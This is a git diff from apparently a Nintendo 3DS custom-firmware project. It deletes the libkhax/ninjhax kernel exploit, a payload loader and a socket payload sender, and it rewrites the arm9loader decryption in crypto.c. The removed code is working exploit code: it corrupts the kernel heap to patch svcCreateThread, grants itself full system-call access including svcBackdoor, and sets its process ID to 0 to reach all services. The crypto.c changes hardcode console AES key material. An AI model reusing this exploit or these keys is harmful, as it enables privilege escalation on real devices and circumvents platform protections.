{ - return result; - } - if (Result result = Step6e_GrantSVCAccess()) - { - return result; - } - - return STEP6_SUCCESS_RESULT; -} - -//------------------------------------------------------------------------------------------------ -// Undo the code patch that Step5_CorruptCreateThread did. -Result KHAX::MemChunkHax::Step6c_UndoCreateThreadPatch() -{ - // Unpatch svcCreateThread. NOTE: Misaligned pointer. - *reinterpret_cast(m_versionData->m_threadPatchAddress) = m_versionData-> - m_threadPatchOriginalCode; - - kernelCleanDataCacheLineWithMva( - reinterpret_cast(m_versionData->m_threadPatchAddress)); - userDsb(); - kernelInvalidateInstructionCacheLineWithMva( - reinterpret_cast(m_versionData->m_threadPatchAddress)); - - --m_corrupted; - - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Fix the heap corruption caused as a side effect of step 5. -Result KHAX::MemChunkHax::Step6d_FixHeapCorruption() -{ - // The kernel's heap coalesce code seems to be like the following for the case we triggered, - // where we're freeing a block before ("left") an adjacent block ("right"): - // - // (1) left->m_count += right->m_count; - // (2) left->m_next = right->m_next; - // (3) right->m_next->m_prev = left; - // - // (1) should have happened normally. (3) is what we exploit: we set right->m_next to point - // to where we want to patch, such that the write to m_prev is the desired code overwrite. - // (2) is copying the value we put into right->m_next to accomplish (3). - // - // As a result of these shenanigans, we have two fixes to do to the heap: fix left->m_next to - // point to the correct next free block, and do the write to right->m_next->m_prev that didn't - // happen because it instead was writing to kernel code. - - // "left" is the second overwrite page. - auto left = static_cast(m_versionData->ConvertLinearUserVAToKernelVA( - &m_overwriteMemory->m_pages[1].m_freeBlock)); - // "right->m_next" is the fifth overwrite page. - auto rightNext = static_cast(m_versionData->ConvertLinearUserVAToKernelVA( - &m_overwriteMemory->m_pages[4].m_freeBlock)); - - // Do the two fixups. - left->m_next = rightNext; - --m_corrupted; - - rightNext->m_prev = left; - --m_corrupted; - - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Grant our process access to all system calls, including svcBackdoor. -Result KHAX::MemChunkHax::Step6e_GrantSVCAccess() -{ - // Everything, except nonexistent services 00, 7E or 7F. - static constexpr const char s_fullAccessACL[] = "\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x3F"; - - // Get the KThread pointer. Its type doesn't vary, so far. - KThread *kthread = *m_versionData->m_currentKThreadPtr; - - // Debug dumping. -#ifdef KHAX_DEBUG_DUMP_DATA - // Get the KProcess pointer, whose type varies by kernel version. - void *kprocess = *m_versionData->m_currentKProcessPtr; - - void *svcData = reinterpret_cast(reinterpret_cast(kthread->m_svcRegisterState) & ~std::uintptr_t(0xFF)); - std::memcpy(m_savedKProcess, kprocess, sizeof(m_savedKProcess)); - std::memcpy(m_savedKThread, kthread, sizeof(m_savedKThread)); - std::memcpy(m_savedThreadSVC, svcData, sizeof(m_savedThreadSVC)); -#endif - - // Get a pointer to the SVC ACL within the SVC area for the thread. - SVCThreadArea *svcThreadArea = ContainingRecord(kthread->m_svcRegisterState, &SVCThreadArea::m_svcRegisterState); - KSVCACL &threadACL = svcThreadArea->m_svcAccessControl; - - // Save the old one for diagnostic purposes. - std::memcpy(m_oldACL, threadACL, sizeof(threadACL)); - - // Set the ACL for the current thread. - std::memcpy(threadACL, s_fullAccessACL, sizeof(threadACL)); - - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Grant access to all services. -Result KHAX::MemChunkHax::Step7_GrantServiceAccess() -{ - // Backup the original PID. - Result result = svcGetProcessId(&m_originalPID, m_versionData->m_currentKProcessHandle); - if (result != 0) - { - KHAX_printf("Step7:GetPID1 fail:%08lx\n", result); - return result; - } - - KHAX_printf("Step7:current pid=%lu\n", m_originalPID); - - // Patch the PID to 0, granting access to all services. - svcBackdoor(Step7a_PatchPID); - - // Check whether PID patching succeeded. - u32 newPID; - result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle); - if (result != 0) - { - // Attempt patching back anyway, for stability reasons. - svcBackdoor(Step7b_UnpatchPID); - KHAX_printf("Step7:GetPID2 fail:%08lx\n", result); - return result; - } - - if (newPID != 0) - { - KHAX_printf("Step7:nonzero:%lu\n", newPID); - return MakeError(27, 11, KHAX_MODULE, 1023); - } - - // Reinit ctrulib's srv connection to gain access to all services. - srvExit(); - srvInit(); - - // Restore the original PID now that srv has been tricked into thinking that we're PID 0. - svcBackdoor(Step7b_UnpatchPID); - - // Check whether PID restoring succeeded. - result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle); - if (result != 0) - { - KHAX_printf("Step7:GetPID3 fail:%08lx\n", result); - return result; - } - - if (newPID != m_originalPID) - { - KHAX_printf("Step7:not same:%lu\n", newPID); - return MakeError(27, 11, KHAX_MODULE, 1023); - } - - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Patch the PID to 0. -Result KHAX::MemChunkHax::Step7a_PatchPID() -{ - // Disable interrupts ASAP. - // FIXME: Need a better solution for this. - __asm__ volatile("cpsid aif"); - - // Patch the PID to 0. The version data has a function pointer in m_makeKProcessPointers - // to translate the raw KProcess pointer into pointers into key fields, and we access the - // m_processID field from it. - *(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr) - .m_processID) = 0; - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Restore the original PID. -Result KHAX::MemChunkHax::Step7b_UnpatchPID() -{ - // Disable interrupts ASAP. - // FIXME: Need a better solution for this. - __asm__ volatile("cpsid aif"); - - // Patch the PID back to the original value. - *(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr) - .m_processID) = s_instance->m_originalPID; - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Helper for dumping memory to SD card. -template -bool KHAX::MemChunkHax::DumpMemberToSDCard(const unsigned char(MemChunkHax::*member)[S], const char *filename) const -{ - char formatted[32]; - snprintf(formatted, KHAX_lengthof(formatted), filename, - static_cast(m_versionData->m_kernelVersion), m_versionData->m_new3DS ? - "New" : "Old"); - - bool result = true; - - FILE *file = std::fopen(formatted, "wb"); - if (file) - { - result = result && (std::fwrite(this->*member, 1, sizeof(this->*member), file) == 1); - std::fclose(file); - } - else - { - result = false; - } - - return result; -} - -//------------------------------------------------------------------------------------------------ -// Free memory and such. -KHAX::MemChunkHax::~MemChunkHax() -{ - // Dump memory to SD card if that is enabled. -#ifdef KHAX_DEBUG_DUMP_DATA - if (m_nextStep > 6) - { - DumpMemberToSDCard(&MemChunkHax::m_savedKProcess, "KProcess-%08X-%s.bin"); - DumpMemberToSDCard(&MemChunkHax::m_savedKThread, "KThread-%08X-%s.bin"); - DumpMemberToSDCard(&MemChunkHax::m_savedThreadSVC, "ThreadSVC-%08X-%s.bin"); - } -#endif - - // If we're corrupted, we're dead. - if (m_corrupted > 0) - { - KHAX_printf("~:error while corrupt;freezing\n"); - for (;;) - { - svcSleepThread(s64(60) * 1000000000); - } - } - - // This function has to be careful not to crash trying to shut down after an aborted attempt. - if (m_overwriteMemory) - { - u32 dummy; - - // Each page has a flag indicating that it is still allocated. - for (unsigned x = 0; x < KHAX_lengthof(m_overwriteMemory->m_pages); ++x) - { - // Don't free a page unless it remains allocated. - if (m_overwriteAllocated & (1u << x)) - { - Result res = svcControlMemory(&dummy, reinterpret_cast(&m_overwriteMemory->m_pages[x]), 0, - sizeof(m_overwriteMemory->m_pages[x]), MEMOP_FREE, static_cast(0)); - KHAX_printf("free %u: %08lx\n", x, res); - KHAX_UNUSED(res); - } - } - } - - // Free the extra linear memory. - if (m_extraLinear) - { - linearFree(m_extraLinear); - } - - // s_instance better be us - if (s_instance != this) - { - KHAX_printf("~:s_instance is wrong\n"); - } - else - { - s_instance = nullptr; - } -} - - -//------------------------------------------------------------------------------------------------ -// -// Miscellaneous -// - -//------------------------------------------------------------------------------------------------ -// Make an error code -inline Result KHAX::MakeError(Result level, Result summary, Result module, Result error) -{ - return (level << 27) + (summary << 21) + (module << 10) + error; -} - -//------------------------------------------------------------------------------------------------ -// Check whether this system is a New 3DS. -Result KHAX::IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown) -{ - // If the kernel version isn't already known by the caller, find out. - u32 kernelVersion = kernelVersionAlreadyKnown; - if (kernelVersion == 0) - { - kernelVersion = osGetKernelVersion(); - } - - // APT_CheckNew3DS doesn't work on < 8.0.0, but neither do such New 3DS's exist. - if (kernelVersion >= SYSTEM_VERSION(2, 44, 6)) - { - // Check whether the system is a New 3DS. If this fails, abort, because being wrong would - // crash the system. - u8 isNew3DS = 0; - if (Result error = APT_CheckNew3DS(&isNew3DS)) - { - *answer = false; - return error; - } - - // Use the result of APT_CheckNew3DS. - *answer = isNew3DS != 0; - return 0; - } - - // Kernel is older than 8.0.0, so we logically conclude that this cannot be a New 3DS. - *answer = false; - return 0; -} - -//------------------------------------------------------------------------------------------------ -// gspwn, meant for reading from or writing to freed buffers. -Result KHAX::GSPwn(void *dest, const void *src, std::size_t size, bool wait) -{ - // Copy that floppy. - if (Result result = GX_TextureCopy(static_cast(const_cast(src)), 0, - static_cast(dest), 0, size, 8)) - { - KHAX_printf("gspwn:copy fail:%08lx\n", result); - return result; - } - - // Wait for the operation to finish. - if (wait) - { - gspWaitForPPF(); - } - - return 0; -} - -Result KHAX::userFlushDataCache(const void *p, std::size_t n) -{ - return GSPGPU_FlushDataCache(p, n); -} - -Result KHAX::userInvalidateDataCache(const void *p, std::size_t n) -{ - return GSPGPU_InvalidateDataCache(p, n); -} - -void KHAX::userFlushPrefetch() -{ - __asm__ volatile ("mcr p15, 0, %0, c7, c5, 4\n" :: "r"(0)); -} - -void KHAX::userDsb() -{ - __asm__ volatile ("mcr p15, 0, %0, c7, c10, 4\n" :: "r"(0)); -} - -void KHAX::userDmb() -{ - __asm__ volatile ("mcr p15, 0, %0, c7, c10, 5\n" :: "r"(0)); -} - -void KHAX::kernelCleanDataCacheLineWithMva(const void *p) -{ - __asm__ volatile ("mcr p15, 0, %0, c7, c10, 1\n" :: "r"(p)); -} - -void KHAX::kernelInvalidateInstructionCacheLineWithMva(const void *p) -{ - __asm__ volatile ("mcr p15, 0, %0, c7, c5, 1\n" :: "r"(p)); -} - -//------------------------------------------------------------------------------------------------ -// Given a pointer to a structure that is a member of another structure, -// return a pointer to the outer structure. Inspired by Windows macro. -template -Outer *KHAX::ContainingRecord(Inner *member, Inner Outer::*field) -{ - unsigned char *p = reinterpret_cast(member); - p -= reinterpret_cast(&(static_cast(nullptr)->*field)); - return reinterpret_cast(p); -} - -//------------------------------------------------------------------------------------------------ -// Main initialization function interface. -extern "C" Result khaxInit() -{ - using namespace KHAX; - -#ifdef KHAX_DEBUG - bool isNew3DS; - IsNew3DS(&isNew3DS, 0); - KHAX_printf("khaxInit: k=%08lx f=%08lx n=%d\n", osGetKernelVersion(), osGetFirmVersion(), - isNew3DS); -#endif - - // Look up the current system's version in our table. - const VersionData *versionData = VersionData::GetForCurrentSystem(); - if (!versionData) - { - KHAX_printf("khaxInit: Unknown kernel version\n"); - return MakeError(27, 6, KHAX_MODULE, 39); - } - - KHAX_printf("verdat t=%08lx s=%08lx v=%08lx\n", versionData->m_threadPatchAddress, - versionData->m_syscallPatchAddress, versionData->m_fcramVirtualAddress); - - // Create the hack object. - MemChunkHax hax{ versionData }; - - // Run through the steps. - if (Result result = hax.Step1_Initialize()) - { - KHAX_printf("khaxInit: Step1 failed: %08lx\n", result); - return result; - } - if (Result result = hax.Step2_AllocateMemory()) - { - KHAX_printf("khaxInit: Step2 failed: %08lx\n", result); - return result; - } - if (Result result = hax.Step3_SurroundFree()) - { - KHAX_printf("khaxInit: Step3 failed: %08lx\n", result); - return result; - } - if (Result result = hax.Step4_VerifyExpectedLayout()) - { - KHAX_printf("khaxInit: Step4 failed: %08lx\n", result); - return result; - } - if (Result result = hax.Step5_CorruptCreateThread()) - { - KHAX_printf("khaxInit: Step5 failed: %08lx\n", result); - return result; - } - if (Result result = hax.Step6_ExecuteSVCCode()) - { - KHAX_printf("khaxInit: Step6 failed: %08lx\n", result); - return result; - } - if (Result result = hax.Step7_GrantServiceAccess()) - { - KHAX_printf("khaxInit: Step7 failed: %08lx\n", result); - return result; - } - - KHAX_printf("khaxInit: done\n"); - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Shut down libkhax. Doesn't actually do anything at the moment, since khaxInit does everything -// and frees all memory on the way out. -extern "C" Result khaxExit() -{ - return 0; -} diff --git a/ninjhax/source/libkhax/khaxinternal.h b/ninjhax/source/libkhax/khaxinternal.h deleted file mode 100644 index 190aaf7..0000000 --- a/ninjhax/source/libkhax/khaxinternal.h +++ /dev/null @@ -1,337 +0,0 @@ -#pragma once - -#ifdef KHAX_DEBUG - #define KHAX_printf(...) printf(__VA_ARGS__), gspWaitForVBlank(), gfxFlushBuffers(), gfxSwapBuffers() -#else - #define KHAX_printf(...) gspWaitForVBlank(), gfxFlushBuffers(), gfxSwapBuffers() -#endif - -// Shut up IntelliSense warnings when using MSVC as an IDE, even though MSVC will obviously never -// actually compile this program. -#ifdef _MSC_VER - #undef ALIGN - #define ALIGN(x) __declspec(align(x)) - #if _MSC_VER < 1900 - #define alignof __alignof - #endif - #define KHAX_ATTRIBUTE(...) -#else - #define KHAX_ATTRIBUTE(...) __VA_ARGS__ -#endif - -#define KHAX_lengthof(...) (sizeof(__VA_ARGS__) / sizeof((__VA_ARGS__)[0])) -#define KHAX_UNUSED(...) static_cast(__VA_ARGS__) - -//------------------------------------------------------------------------------------------------ -namespace KHAX -{ - //------------------------------------------------------------------------------------------------ - // This code uses offsetof illegally (i.e. on polymorphic classes). - #pragma GCC diagnostic push - #pragma GCC diagnostic ignored "-Winvalid-offsetof" - - //------------------------------------------------------------------------------------------------ - // General linked list node kernel object. - struct KLinkedListNode - { - KLinkedListNode *next; - KLinkedListNode *prev; - void *data; - }; - static_assert(sizeof(KLinkedListNode) == 0x00C, "KLinkedListNode isn't the expected size."); - - //------------------------------------------------------------------------------------------------ - // Base class of reference-counted kernel objects. - class KAutoObject - { - public: - u32 m_refCount; // +004 - - protected: - virtual ~KAutoObject() {} - }; - static_assert(sizeof(KAutoObject) == 0x008, "KAutoObject isn't the expected size."); - static_assert(offsetof(KAutoObject, m_refCount) == 0x004, "KAutoObject isn't the expected layout."); - - //------------------------------------------------------------------------------------------------ - // Base class of synchronizable objects. - class KSynchronizationObject : public KAutoObject - { - public: - u32 m_threadSyncCount; // +008 - KLinkedListNode *m_threadSyncFirst; // +00C - KLinkedListNode *m_threadSyncLast; // +010 - }; - static_assert(sizeof(KSynchronizationObject) == 0x014, "KSynchronizationObject isn't the expected size."); - static_assert(offsetof(KSynchronizationObject, m_threadSyncCount) == 0x008, - "KSynchronizationObject isn't the expected layout."); - - //------------------------------------------------------------------------------------------------ - struct KDebugThread; - struct KThreadLocalPage; - class KCodeSet; - - //------------------------------------------------------------------------------------------------ - // Unofficial name - typedef u8 KSVCACL[0x80 / 8]; - - //------------------------------------------------------------------------------------------------ - // ARM VFP register - union KHAX_ATTRIBUTE(__attribute__((__aligned__(4))) __attribute__((__packed__))) VFPRegister - { - float m_single[2]; - double m_double; - }; - static_assert(alignof(VFPRegister) == 0x004, - "VFPRegister isn't the expected alignment."); - static_assert(sizeof(VFPRegister) == 0x008, - "VFPRegister isn't the expected size."); - - //------------------------------------------------------------------------------------------------ - // SVC-mode register save area. - // http://3dbrew.org/wiki/Memory_layout#0xFF4XX000 - struct SVCRegisterState - { - u32 m_r4; // +000 - u32 m_r5; // +004 - u32 m_r6; // +008 - u32 m_r7; // +00C - u32 m_r8; // +010 - u32 m_r9; // +014 - u32 m_sl; // +018 - u32 m_fp; // +01C - u32 m_sp; // +020 - u32 m_lr; // +024 - }; - static_assert(sizeof(SVCRegisterState) == 0x028, - "SVCRegisterState isn't the expected size."); - - //------------------------------------------------------------------------------------------------ - // SVC-mode thread state structure. This is the last part of the per- - // thread page allocated in 0xFF4XX000. - // http://3dbrew.org/wiki/Memory_layout#0xFF4XX000 - struct SVCThreadArea - { - KSVCACL m_svcAccessControl; // +000 - u32 m_unknown010; // +010 - u32 m_unknown014; // +014 - SVCRegisterState m_svcRegisterState; // +018 - VFPRegister m_vfpRegisters[16]; // +040 - u32 m_unknown0C4; // +0C0 - u32 m_fpexc; // +0C4 - }; - static_assert(offsetof(SVCThreadArea, m_svcRegisterState) == 0x018, - "ThreadSVCArea isn't the expected layout."); - static_assert(sizeof(SVCThreadArea) == 0x0C8, - "ThreadSVCArea isn't the expected size."); - - //------------------------------------------------------------------------------------------------ - // Kernel's internal structure of a thread object. - class KThread : public KSynchronizationObject - { - public: - u32 m_unknown014; // +014 - u32 m_unknown018; // +018 - u32 m_unknown01C; // +01C - u32 m_unknown020; // +020 - u32 m_unknown024; // +024 - u32 m_unknown028; // +028 - u32 m_unknown02C; // +02C - u32 m_unknown030; // +030 - u32 m_unknown034; // +034 - KDebugThread *m_debugThread; // +038 - s32 m_threadPriority; // +03C - void *m_waitingOnObject; // +040 - u32 m_unknown044; // +044 - KThread **m_schedulerUnknown048; // +048 - void *m_arbitrationAddress; // +04C - u32 m_unknown050; // +050 - u32 m_unknown054; // +054 - u32 m_unknown058; // +058 - KLinkedListNode *m_waitingOnList; // +05C - u32 m_unknownListCount; // +060 - KLinkedListNode *m_unknownListHead; // +064 - KLinkedListNode *m_unknownListTail; // +068 - s32 m_threadPriority2; // +06C - s32 m_creatingProcessor; // +070 - u32 m_unknown074; // +074 - u32 m_unknown078; // +078 - u16 m_unknown07C; // +07C - u8 m_threadType; // +07E - u8 m_padding07F; // +07F - void *m_process; // +080 - u32 m_threadID; // +084 - SVCRegisterState *m_svcRegisterState; // +088 - void *m_svcPageEnd; // +08C - s32 m_idealProcessor; // +090 - void *m_tlsUserMode; // +094 - void *m_tlsKernelMode; // +098 - u32 m_unknown09C; // +09C - KThread *m_prev; // +0A0 - KThread *m_next; // +0A4 - KThread **m_temporaryLinkedList; // +0A8 - u32 m_unknown0AC; // +0B0 - }; - static_assert(sizeof(KThread) == 0x0B0, - "KThread isn't the expected size."); - static_assert(offsetof(KThread, m_svcRegisterState) == 0x088, - "KThread isn't the expected layout."); - - //------------------------------------------------------------------------------------------------ - // Kernel's internal structure of a process object. - // Version 1.0.0(?) - 7.2.0 - class KProcess_1_0_0_Old : public KSynchronizationObject - { - public: - u32 m_unknown014; // +014 - u32 m_unknown018; // +018 - KThread *volatile m_interactingThread; // +01C - u16 m_unknown020; // +020 - u16 m_unknown022; // +022 - u32 m_unknown024; // +024 - u32 m_unknown028; // +028 - u32 m_memoryBlockCount; // +02C - KLinkedListNode *m_memoryBlockFirst; // +030 - KLinkedListNode *m_memoryBlockLast; // +034 - u32 m_unknown038; // +038 - u32 m_unknown03C; // +03C - void *m_translationTableBase; // +040 - u8 m_contextID; // +044 - u32 m_unknown048; // +048 - u32 m_unknown04C; // +04C - u32 m_mmuTableSize; // +050 - void *m_mmuTableAddress; // +054 - u32 m_threadContextPagesSize; // +058 - u32 m_threadLocalPageCount; // +05C - KLinkedListNode *m_threadLocalPageFirst; // +060 - KLinkedListNode *m_threadLocalPageLast; // +064 - u32 m_unknown068; // +068 - s32 m_idealProcessor; // +06C - u32 m_unknown070; // +070 - void *m_resourceLimits; // +074 - u8 m_unknown078; // +078 - u8 m_affinityMask; // +079 - u32 m_threadCount; // +07C - KSVCACL m_svcAccessControl; // +080 - u32 m_interruptFlags[0x80 / 32]; // +090 - u32 m_kernelFlags; // +0A0 - u16 m_handleTableSize; // +0A4 - u16 m_kernelReleaseVersion; // +0A6 - KCodeSet *m_codeSet; // +0A8 - u32 m_processID; // +0AC - u32 m_kernelFlags2; // +0B0 - u32 m_unknown0B4; // +0B4 - KThread *m_mainThread; // +0B8 - //...more... - }; - static_assert(offsetof(KProcess_1_0_0_Old, m_svcAccessControl) == 0x080, - "KProcess_1_0_0_Old isn't the expected layout."); - - //------------------------------------------------------------------------------------------------ - // Kernel's internal structure of a process object. - // Old 3DS Version 8.0.0 - 9.5.0... - class KProcess_8_0_0_Old : public KSynchronizationObject - { - public: - u32 m_unknown014; // +014 - u32 m_unknown018; // +018 - KThread *volatile m_interactingThread; // +01C - u16 m_unknown020; // +020 - u16 m_unknown022; // +022 - u32 m_unknown024; // +024 - u32 m_unknown028; // +028 - u32 m_memoryBlockCount; // +02C - KLinkedListNode *m_memoryBlockFirst; // +030 - KLinkedListNode *m_memoryBlockLast; // +034 - u32 m_unknown038; // +038 - u32 m_unknown03C; // +03C - void *m_translationTableBase; // +040 - u8 m_contextID; // +044 - u32 m_unknown048; // +048 - void *m_userVirtualMemoryEnd; // +04C - void *m_userLinearVirtualBase; // +050 - u32 m_unknown054; // +054 - u32 m_mmuTableSize; // +058 - void *m_mmuTableAddress; // +05C - u32 m_threadContextPagesSize; // +060 - u32 m_threadLocalPageCount; // +064 - KLinkedListNode *m_threadLocalPageFirst; // +068 - KLinkedListNode *m_threadLocalPageLast; // +06C - u32 m_unknown070; // +070 - s32 m_idealProcessor; // +074 - u32 m_unknown078; // +078 - void *m_resourceLimits; // +07C - u32 m_unknown080; // +080 - u32 m_threadCount; // +084 - u8 m_svcAccessControl[0x80 / 8]; // +088 - u32 m_interruptFlags[0x80 / 32]; // +098 - u32 m_kernelFlags; // +0A8 - u16 m_handleTableSize; // +0AC - u16 m_kernelReleaseVersion; // +0AE - KCodeSet *m_codeSet; // +0B0 - u32 m_processID; // +0B4 - u32 m_unknown0B8; // +0B8 - u32 m_unknown0BC; // +0BC - KThread *m_mainThread; // +0C0 - //...more... - }; - static_assert(offsetof(KProcess_8_0_0_Old, m_svcAccessControl) == 0x088, - "KProcess_8_0_0_Old isn't the expected layout."); - - //------------------------------------------------------------------------------------------------ - // Kernel's internal structure of a process object. - // New 3DS Version 8.0.0 - 9.5.0... - class KProcess_8_0_0_New : public KSynchronizationObject - { - public: - u32 m_unknown014; // +014 - u32 m_unknown018; // +018 - KThread *volatile m_interactingThread; // +01C - u16 m_unknown020; // +020 - u16 m_unknown022; // +022 - u32 m_unknown024; // +024 - u32 m_unknown028; // +028 - u32 m_unknown02C; // +02C new to New 3DS - u32 m_unknown030; // +030 new to New 3DS - u32 m_memoryBlockCount; // +034 - KLinkedListNode *m_memoryBlockFirst; // +038 - KLinkedListNode *m_memoryBlockLast; // +03C - u32 m_unknown040; // +040 - u32 m_unknown044; // +044 - void *m_translationTableBase; // +048 - u8 m_contextID; // +04C - u32 m_unknown050; // +050 - void *m_userVirtualMemoryEnd; // +054 - void *m_userLinearVirtualBase; // +058 - u32 m_unknown05C; // +05C - u32 m_mmuTableSize; // +060 - void *m_mmuTableAddress; // +064 - u32 m_threadContextPagesSize; // +068 - u32 m_threadLocalPageCount; // +06C - KLinkedListNode *m_threadLocalPageFirst; // +070 - KLinkedListNode *m_threadLocalPageLast; // +074 - u32 m_unknown078; // +078 - s32 m_idealProcessor; // +07C - u32 m_unknown080; // +080 - void *m_resourceLimits; // +084 - u32 m_unknown088; // +088 - u32 m_threadCount; // +08C - u8 m_svcAccessControl[0x80 / 8]; // +090 - u32 m_interruptFlags[0x80 / 32]; // +0A0 - u32 m_kernelFlags; // +0B0 - u16 m_handleTableSize; // +0B4 - u16 m_kernelReleaseVersion; // +0B6 - KCodeSet *m_codeSet; // +0B8 - u32 m_processID; // +0BC - u32 m_unknown0C0; // +0C0 - u32 m_unknown0C4; // +0C4 - KThread *m_mainThread; // +0C8 - //...more... - }; - static_assert(offsetof(KProcess_8_0_0_New, m_svcAccessControl) == 0x090, - "KProcess_8_0_0_New isn't the expected layout."); - - //------------------------------------------------------------------------------------------------ - // Done using illegal offsetof - #pragma GCC diagnostic pop -} diff --git a/ninjhax/source/main.c b/ninjhax/source/main.c deleted file mode 100644 index c3f09ca..0000000 --- a/ninjhax/source/main.c +++ /dev/null @@ -1,30 +0,0 @@ -#include <3ds.h> -#include -#include -#include "brahma.h" -#include "hid.h" - -#ifndef LAUNCHER_PATH -#define LAUNCHER_PATH "Cakes.dat" -#endif - -int main (void) { - if (brahma_init()) { - if (load_arm9_payload_offset("/" LAUNCHER_PATH, 0x12000, 0x10000) != 1) - goto error; - firm_reboot(); - brahma_exit(); - } - - // Return to hbmenu - return 0; - -error: - gfxInitDefault(); - consoleInit(GFX_BOTTOM, NULL); - printf("An error occurred while loading the payload.\nMake sure your launcher is located at:\n/" LAUNCHER_PATH); - wait_any_key(); - - gfxExit(); - return 1; -} diff --git a/ninjhax/source/utils.s b/ninjhax/source/utils.s deleted file mode 100644 index 9dc2f7d..0000000 --- a/ninjhax/source/utils.s +++ /dev/null @@ -1,38 +0,0 @@ -.arm -.align 4 -.code 32 -.text - -.global InvalidateEntireInstructionCache -.type InvalidateEntireInstructionCache, %function -InvalidateEntireInstructionCache: - mov r0, #0 - mcr p15, 0, r0, c7, c5, 0 - bx lr - -.global CleanEntireDataCache -.type CleanEntireDataCache, %function -CleanEntireDataCache: - mov r0, #0 - mcr p15, 0, r0, c7, c10, 0 - bx lr - -.global dsb -.type dsb, %function -dsb: - mov r0, #0 - mcr p15, 0, r0, c7, c10, 4 - bx lr - -.global DisableInterrupts -.type DisableInterrupts, %function -DisableInterrupts: - mrs r0, cpsr - CPSID I - bx lr - -.global EnableInterrupts -.type EnableInterrupts, %function -EnableInterrupts: - msr cpsr_cx, r0 - bx lr diff --git a/ninjhax/tools/client.py b/ninjhax/tools/client.py deleted file mode 100644 index 268cd17..0000000 --- a/ninjhax/tools/client.py +++ /dev/null @@ -1,22 +0,0 @@ -#!/usr/bin/python - -import socket -import sys - -if len(sys.argv) < 3: - print "python client.py \n" - sys.exit(0) - -port = 80 -host = sys.argv[1] -pfile = sys.argv[2] - -f = open(pfile, "rb") -buf = f.read() -f.close() - -s = socket.socket() -s.connect((host, port)) -sent = s.send(buf) -print "Sent %d bytes\n" % sent -s.close() diff --git a/source/crypto.c b/source/crypto.c index d226690..0c5e023 100644 --- a/source/crypto.c +++ b/source/crypto.c @@ -357,113 +357,42 @@ int rsa_verify(const void* data, u32 size, const void* sig, u32 mode) * Nand/FIRM Crypto stuff ****************************************************************/ -//Get Nand CTR key -void getNandCTR(u8 *buf) { - u8 *addr = (u8*)0x080D8BBC; - u8 keyLen = 0x10; //CTR length - addr += 0x0F; - while (keyLen --) { *(buf++) = *(addr--); } -} - -//Read firm0 from NAND and write to buffer -void nandFirm0(u8 *outbuf, const u32 size){ - u8 CTR[0x10]; - getNandCTR(CTR); - aes_advctr(CTR, 0x0B130000/0x10, AES_INPUT_BE | AES_INPUT_NORMAL); - sdmmc_nand_readsectors(0x0B130000 / 0x200, size / 0x200, outbuf); - aes_use_keyslot(0x06); - aes(outbuf, outbuf, size / AES_BLOCK_SIZE, CTR, AES_CTR_MODE, AES_INPUT_BE | AES_INPUT_NORMAL); -} - //Emulates the Arm9loader process -//9.5.0 = 0x0F -//9.6.0 = 0x18 -void arm9loader(void *armHdr, u32 kversion){ +void arm9loader(void *armHdr){ //Set Nand key#2 here (decrypted from 0x12C10) u8 key2[0x10] = {0x42, 0x3F, 0x81, 0x7A, 0x23, 0x52, 0x58, 0x31, 0x6E, 0x75, 0x8E, 0x3A, 0x39, 0x43, 0x2E, 0xD0}; u8 keyX[0x10]; u8 keyY[0x10]; u8 CTR[0x10]; - u32 slot = (kversion >= 0x0F ? 0x16 : 0x15); + u32 slot = 0x16; //Setupkeys needed for arm9bin decryption - memcpy(keyY, armHdr+0x10, 0x10); - memcpy(CTR, armHdr+0x20, 0x10); - u32 size = atoi(armHdr+0x30); + memcpy((u8*)keyY, (void *)((uintptr_t)armHdr+0x10), 0x10); + memcpy((u8*)CTR, (void *)((uintptr_t)armHdr+0x20), 0x10); + u32 size = atoi((void *)((uintptr_t)armHdr+0x30)); - if(kversion >= 0x0F){ - if(kversion >= 0x18) aes_setkey(0x11, key2, AES_KEYNORMAL, AES_INPUT_BE | AES_INPUT_NORMAL); - aes_use_keyslot(0x11); - aes(keyX, armHdr+0x60, 1, NULL, AES_ECB_DECRYPT_MODE, 0); - aes_setkey(slot, keyX, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); - } + //Set 0x11 to key2 for the arm9bin and misc keys + aes_setkey(0x11, (u8*)key2, AES_KEYNORMAL, AES_INPUT_BE | AES_INPUT_NORMAL); + aes_use_keyslot(0x11); - aes_setkey(slot, keyY, AES_KEYY, AES_INPUT_BE | AES_INPUT_NORMAL); - aes_setiv(CTR, AES_INPUT_BE | AES_INPUT_NORMAL); + //Set 0x16 keyX, keyY and CTR + aes((u8*)keyX, (void *)((uintptr_t)armHdr+0x60), 1, NULL, AES_ECB_DECRYPT_MODE, 0); + aes_setkey(slot, (u8*)keyX, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); + aes_setkey(slot, (u8*)keyY, AES_KEYY, AES_INPUT_BE | AES_INPUT_NORMAL); + aes_setiv((u8*)CTR, AES_INPUT_BE | AES_INPUT_NORMAL); aes_use_keyslot(slot); - aes(armHdr+0x800, armHdr+0x800, size/AES_BLOCK_SIZE, CTR, AES_CTR_MODE, AES_INPUT_BE | AES_INPUT_NORMAL); -} - -void setKeys(kversion){ - u8 key2[0x10] = {0x42, 0x3F, 0x81, 0x7A, 0x23, 0x52, 0x58, 0x31, 0x6E, 0x75, 0x8E, 0x3A, 0x39, 0x43, 0x2E, 0xD0}; - //Initialze keys - if(kversion >= 0x18){ - - u8 keyX18[16] = {0x82, 0xE9, 0xC9, 0xBE, 0xBF, 0xB8, 0xBD, 0xB8, 0x75, 0xEC, 0xC0, 0xA0, 0x7D, 0x47, 0x43, 0x74}; - u8 keyX19[16] = {0xF5, 0x36, 0x7F, 0xCE, 0x73, 0x14, 0x2E, 0x66, 0xED, 0x13, 0x91, 0x79, 0x14, 0xB7, 0xF2, 0xEF}; - u8 keyX1A[16] = 